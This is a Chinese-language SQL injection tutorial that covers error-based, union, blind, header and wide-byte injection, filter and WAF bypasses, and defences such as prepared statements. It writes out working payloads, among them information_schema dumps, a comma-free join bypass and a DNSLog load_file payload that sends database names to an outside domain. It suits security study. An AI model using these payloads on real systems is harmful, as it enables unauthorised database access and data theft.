一、漏洞原理
Web应用程序对用户通过GET或POST提交的数据没有进行一个严格的控制和过滤,攻击者可以在web应用程序事先定义好的sql语句后面拼接一些恶意的SQL语句,从而实现欺骗数据库来执行一些未经授权的操作。
二、危害
绕过认证,获取非法权限;
获取数据库内容;
借助数据库存储过程进行提权;
利用数据库写入进行shell的获取;
三、一般流程
判断是否存在注入漏洞;
收集信息,判断数据库类型;
判断注入类型,重构查询语句;
猜解表名、字段名;
获取详细内容;
四、分类
报错注入
盲注
联合查询注入
宽字节注入
五、注入方法和绕过
一、报错注入
1、extractvalue报错注入
and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
2、updataxml报错注入
and updataxml(1,concat(0x7e,(select database()),1) --+
二、GET union注入
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+
union select 1,group_concat(column_name) from information_schema.columns where table_name = 表名 --+
三、sql文件上传:into outfile
1、Windows系统
![](https://img-blog.csdnimg.cn/img_convert/dae3ac5f5f3e3c0bd07a6b65e9163d89.png)
2、Linux系统
![](https://img-blog.csdnimg.cn/img_convert/d4b4b88fc051c65fe2fdeb1c25126ab2.png)
四、DNSlog注入
1、DNSLog手工注入
load_file()
只能针对windows系统,利用的是UNC路径;
我们生成域名,和url拼接起来,这样目标服务器进行dns解析时,我们刷新解析记录获取到要获取的信息
要用到的域名申请网站:
payload:
and (select load_file(concat("//",(select database()),"申请的域名/要访问的文件"))) #
2、DNSLog自动注入
语法:
![](https://img-blog.csdnimg.cn/img_convert/93999d4f9e2ecc7b67c37dbd83d64f89.png)
五、POST注入
1、union注入
2、报错注入
floor报错
![](https://img-blog.csdnimg.cn/img_convert/f85e02cc04a4339e07e93d0a14202f8d.png)
![](https://img-blog.csdnimg.cn/img_convert/c0f8ec674f200c4c8b81c7237aa4a3f9.png)
![](https://img-blog.csdnimg.cn/img_convert/fd5bc14f3e041842ce2f4c55d5b845d2.png)
3、盲注
(1)、时间盲注
![](https://img-blog.csdnimg.cn/img_convert/16c177177120aa2047382e1d4a063775.png)
(2)、布尔盲注
![](https://img-blog.csdnimg.cn/img_convert/462d6c800524c0b2013cbd34c61dbada.png)
(3)DNSLog注入
六、报头注入
当页面看不到明显变换时,可以尝试报头注入;
如果语句为insert,一般使用报错注入
1、user-agent注入
(1)、uagent,即User-Agent,中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言浏览器插件等。内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。
2、Referer注入
3、Cookie注入
七、SQL注入绕过
1、注释符被过滤的绕过
(1)、源代码
‘#’和‘--’被过滤掉
![](https://img-blog.csdnimg.cn/img_convert/ed529b81fee7ea0854d1486931be5c56.png)
(2)、绕过
![](https://img-blog.csdnimg.cn/img_convert/948e682c700a877cebfeb48d32b3687d.png)
2、and 和 or 被过滤的绕过
(1)、源代码
![](https://img-blog.csdnimg.cn/img_convert/55446a95c51ec9942fa8445fae81e3ab.png)
(2)、绕过手法
![](https://img-blog.csdnimg.cn/img_convert/e242598a4833d235766dba61964670af.png)
![](https://img-blog.csdnimg.cn/img_convert/221aa7604f7f78c957b3b2251435e7a3.png)
进行URL编码
3、空格过滤
(1)、源代码
过滤掉了:and or 空格 注释符等
![](https://img-blog.csdnimg.cn/img_convert/76cba877dd9f35d14b8c7388bac42e2d.png)
(2)、绕过手法
1、使用+代替空格
2、进行URL编码
![](https://img-blog.csdnimg.cn/img_convert/ccd651ef17119d9e9a4216c3c36f84c1.png)
3、使用报错注入,不用到空格
![](https://img-blog.csdnimg.cn/img_convert/bb4488f9355bfe09284c28d8f3fa25b8.png)
![](https://img-blog.csdnimg.cn/img_convert/46c8da0cca0f7e5987a968958e8837c7.png)
4、limit替换
![](https://img-blog.csdnimg.cn/img_convert/9312bfb9b78a06faaf42992baefc90ba.png)
5、逗号过滤使用join绕过
1、获取回显位置
?id=-1' union select 1,2,3 --+
相当于
?id=-1' union select * from (select 1)a join (select 2)b join (select 3)c --+
2、获取库名
?id=-1' union select * from (select 1)a join (select 2)b join (select database())c --+
3、获取表名
?id=-1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema = database())b join (select 3)c --+
4、获取列名
?id=-1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users')b join (select 3)c --+
5、获取用户数据
用户名和密码分别获取;
6、union 和 select 过滤绕过
(1)、大小写绕过
(2)、复写绕过
(3)、报错注入
八、宽字节注入(仅限当前数据库GBK编码)
1、函数addslashes()
在指定的预定义字符前添加反斜杠,使其称为字符,丧失功能性。使闭合符失效
2、GBK编码
%df%5c 使\失效
3、绕过
?id=1%df'
'闭合符效果生效。
九、waf绕过
1、安全狗4.0
![](https://img-blog.csdnimg.cn/img_convert/374e3d455cd41b5e7db747a4d657777c.png)
(1)、注释
![](https://img-blog.csdnimg.cn/img_convert/402b8ee94553422a5654ac5cde8d8f95.png)
(2)、替换
![](https://img-blog.csdnimg.cn/img_convert/92a457832d0f19ec3b35dd1931af8bbf.png)
2、安全狗3.5
![](https://img-blog.csdnimg.cn/img_convert/ecafacc32c742369fb1b8b091293b6fb.png)
超大数据包绕过
3、分块传输绕过(post提交)
https://github.com/ThestaRY7/SQLinjection
burpsuit插件。
六、SQL注入的防御与修复
正则匹配
正则表达式匹配特殊字符;匹配到后将特殊字符替换为空,或者拒绝执行SQL语句。
PHP - preg_replace方法
Java - Pattern类
Go - Regexp包
Python - re包
转码 - PHP
mysqli_real_escape_string() 实体化转码;只在UTF-8的编码模式下是绝对安全的。
预编译
SQL预编译是软件开发中规避SQL注入的通用解决方案;
PHP - 使用PDO连接数据库
Java - PreparedStatement